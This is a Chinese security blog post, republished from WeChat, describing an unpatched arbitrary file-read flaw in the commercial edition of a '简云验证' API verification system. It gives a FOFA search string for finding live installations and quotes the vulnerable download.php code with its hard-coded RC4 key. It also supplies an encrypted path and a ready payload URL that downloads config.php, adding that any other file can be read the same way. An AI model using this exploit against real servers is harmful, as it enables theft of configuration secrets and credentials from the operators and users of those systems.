0x00 前言
fofa:"../assets/img/bg/logo_white.png"
程序介绍:
一键式快捷接入,高强度加密算法,动态数据加密,丰富的对接示例,强大的管理后台,给您从未有过的全新体验。我们致力于为开发者提供稳定、高效的API数据接口服务。
0x01 前台任意文件读取
在download.php 中,很明显有个文件读取的操作,不过有个mi_rc4函数,需要解密一下.
include_once 'includes/function.php';
include_once 'includes/global.php';
$file = isset($_GET['file']) ? daddslashes($_GET['file']) : 0;
if($file){
$file=mi_rc4($file,'6ba6cc1043b97685',1);
$file_name = isset($_GET['filename']) ? daddslashes($_GET['filename']) : rand(111111,999999).'.zip';
if(file_exists($file)){
$file_size = filesize("$file");
header("Content-Description: File Transfer");
header("Content-Type:application/force-download");
header("Content-Length: {$file_size}");
header("Content-Disposition:attachment; filename={$file_name}");
readfile("$file");
}else{
exit("error");
}
}else{
header("Location: ../");
}
function mi_rc4($data,$pwd,$t=0) {//t=0加密,1=解密
$cipher = '';
$key[] = "";
$box[] = "";
$pwd=mi_rc4_encode($pwd);
$data=mi_rc4_encode($data);
$pwd_length = strlen($pwd);
if($t == 1){
$data = hex2bin($data);
}
$data_length = strlen($data);
for ($i = 0; $i < 256; $i++) {
$key[$i] = ord($pwd[$i % $pwd_length]);
$box[$i] = $i;
}
for ($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $key[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for ($a = $j = $i = 0; $i < $data_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$k = $box[(($box[$a] + $box[$j]) % 256)];
$cipher .= chr(ord($data[$i]) ^ $k);
}
if($t == 1){
return $cipher;
}else{
return bin2hex($cipher);
}
}
function mi_rc4_encode($str,$turn = 0){//turn=0,utf8转gbk,1=gbk转utf8
if(is_array($str)){
foreach($str as $k => $v){
$str[$k] = array_iconv($v);
}
return $str;
}else{
if(is_string($str) && $turn == 0){
return mb_convert_encoding($str,'GBK','UTF-8');
}elseif(is_string($str) && $turn == 1){
return mb_convert_encoding($str,'UTF-8','GBK');
}else{
return $str;
}
}
}
我们直接调用一下global.php来加密一下config.php. 输出 20b6cb088a8d5c444074
所以我们构造读取config.php的(其中filename作为自定的下载文件名字) Payload:
/download.php?file=20b6cb088a8d5c444074&filename=config.php
同理,读取其他文件也是一样的方法.
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!
欢迎大家进星悦安全交流1群
原文始发于微信公众号(星悦安全):某简云验证-商业版审计(0day)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论